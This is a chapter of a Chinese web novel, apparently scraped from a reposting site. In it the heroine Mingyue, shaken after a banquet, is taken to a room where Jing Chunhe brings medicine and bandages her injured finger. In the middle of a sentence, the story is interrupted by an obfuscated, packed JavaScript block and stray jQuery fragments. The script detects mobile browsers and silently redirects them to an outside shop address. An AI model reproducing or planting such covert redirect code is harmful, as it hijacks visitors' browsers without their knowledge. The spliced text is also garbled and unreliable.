第一百一十章无恙

    明月刻意压缓了步子,防备的看着他。

    布鲁斯像是觉得明月的动作很好玩,笑出了声,斟酌了半天,终于说出:“值钱。”

    值钱?

    明月不解,她究竟值什么钱?难道说林越将她卖了?

    她脸上的神情变换复杂,逐渐阴沉。

    布鲁斯也不着急催她,反而仅仅是抱着双臂笑着看她,神情自然。

    明月压下自己的心里的不安,故作冷静的问道:“先生,值钱是什么意思?现在又是要带我去哪?”

    布鲁斯摸了摸头发,似乎在思考要怎么和她解释值钱:“值钱,你能让我赚更多的钱。”

    “带去房间,和说。”

    能让他赚更多的钱?明月好像大概明白了他的意思,可这后一句是什么意思?

    和说?

    一瞬间,明月想起来了——

    这个洋人是那次在丰裕茶楼坐在景春和对面的那个男人。

    明月试探的问道:“景春和说的?”

    “对,和说的。”布鲁斯赞赏的点点头。

    此时楼梯上来来往往的人多了起来,她身旁又有一个金发碧眼的洋人,太惹人注意了。

    犹豫片刻,最终明月还是决定让布鲁斯带路,不管是真是假。

    她推开房门。

    屋子不大,但收拾得干净整齐,窗台上点着一盏灯,昏黄的光将整个房间笼上一层温暖的颜色。

    “待着。”布鲁斯站在门口,没有进来,“有人来看你。”

    他说完想了想,又从口袋里掏出一小瓶东西,放在门边的柜子上。

    “药。”他指了指明月的手,用那口不太标准的中文补了一句,“洋人用的,比你们的中药好得快。”

    然后他笑了一下,带上房门走了。

    明月站在房间里,看着那扇合上的门,愣了好一会儿。

    然后她低头看了看自己的手——指甲翻了,血已经半干了,在皮肤上洇开一小片暗红。

    她走到柜子前,拿起那瓶药,拧开盖子,倒了一些在棉签上,小心翼翼地涂抹在伤口上。

    药水蛰进伤口,火辣辣的疼。

    她没有出声。

    涂完药,她把棉签扔进纸篓里,坐在床沿上,安静地看着窗台上的那盏灯。

    然后她发现自己的手在抖。

    她攥紧拳头,指甲掐进掌心里,想用痛感压住那股颤抖。

    可她发现自己根本控制不住——从手指到肩膀,从肩膀到胸口,都在细细地、无法抑制地发着抖。

    她闭上眼睛,深吸一口气。

    可那股颤抖并没有停下来。

    她想起刘老爷的手掐在她手腕上的力道,想起他那双浑浊的眼睛里赤裸裸的欲望,想起那间屋子里呛人的酒气和檀香——

    还有那声尖叫。

    那个从紧闭的房门后传出来的、尖锐的、带着哭腔的、充满了恐惧的尖叫。

    明月猛地睁开眼,弯下腰,一只手撑在膝盖上,大口大口地喘气。

    来林家这么长的时间,她第一次觉得死亡离自己这么近。

    胸口像是被什么东西堵住了,闷得发疼。

    她咬着嘴唇,把那股涌上来的恶心狠狠压回喉咙里。

    就在这时候,门被人轻轻敲了三下。

    “咚、咚、咚。”

    不紧不慢的,克制而有礼貌的。

    明月的脊背猛地绷紧,抬起头,警惕地看向门口。

    “是我。”

    那个声音从门外传来,低沉而温和。

    明月的呼吸顿了一顿。

    是景春和。

    她愣了一愣,绷紧的肩膀缓缓放松下来。

    她站起身,走到门口,犹豫了片刻,最终还是伸手拉开了门。

    景春和站在门外。

    他已经换了一身衣裳——不再是宴会上那身墨色西装,而是一件深灰色的长衫,领口的扣子没有系全,露出一小截白色里衣的领子。他的头发微微有些乱,像是刚从什么地方赶过来的样子。

    他手里拎着一个小药箱。

    四目相对。

    景春和的目光认真地从她的脸上下移到她身上,最终落在手指上那圈缠得歪歪扭扭的纱布上,微微皱了皱眉,随即又松开了。

    “布鲁斯那粗手粗脚的,我就知道他处理不好。”他说,语气带着几分随意的嫌弃,像是这只是一件微不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17662413|206192||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    足道的小事,“他那洋药膏治枪伤还行,你这指甲翻了的,还是用咱们自己的药稳妥些。”

    他说着把药箱递了过来,没有踏进门的意思。

    他能看见她一切安好便安心了。

    明月没有接。

    她看着他,沉默了好一会儿,忽然开口问了一句与眼前的一切都毫不相干的话:

    “你为什么……要来?”

    “楼下不要紧吗?”

    景春和的手顿了一下。

    他垂下眼,廊中身后的光在他脸上投下一小片阴影。

    “因为……”他拖长了尾音,像是在斟酌措辞,最终抬起头来,嘴角带着一抹不正经的笑意,“你今天穿的这身旗袍挺好看的,弄脏了怪可惜的。”

    他看见明月眼中的慌乱,刻意玩笑。

    明月:“……”

    像他们二人初见般,景春和不正经的笑着调戏她。

    她看着他。

    他也看着她,嘴角挂着那副吊儿郎当的笑容,一双眼睛里却带着一种她读不懂的东西。

    她没有拆穿他,也没有接他的话。

    明月说不清自己是什么想法,理智上告诉她,应该让景春和快些离开。可感情上,她自己有些撑不住了,或许景春和的出现能让她感受到一丝安全。

    脑中的想法交战了半刻,终于。

    她伸手接过了药箱。

    景春和收回手,正要转身走,就听到她的声音从身后传来:

    “谢谢你……”

    声音中带着不可察觉的脆弱。

    他顿住了脚步。

    明月已经转身走回了房间里,在桌边的椅子上坐了下来,将药箱放在桌上,打开来,一样一样地看里面的东西。

    碘伏、纱布、棉签、一小瓶云南白药……准备得倒是齐全。

    她取出碘伏和棉签,拆开手指上那圈布鲁斯胡乱缠上的纱布,准备重新处理伤口。

    可她自己一只手缠纱布,怎么都不太顺手,缠了两圈就散了。

    景春和站在门口,看了一会儿,终于还是没忍住,叹了口气,走了进来。

    “我来。”

    他在她面前蹲下来,伸手去拿她手里的纱布。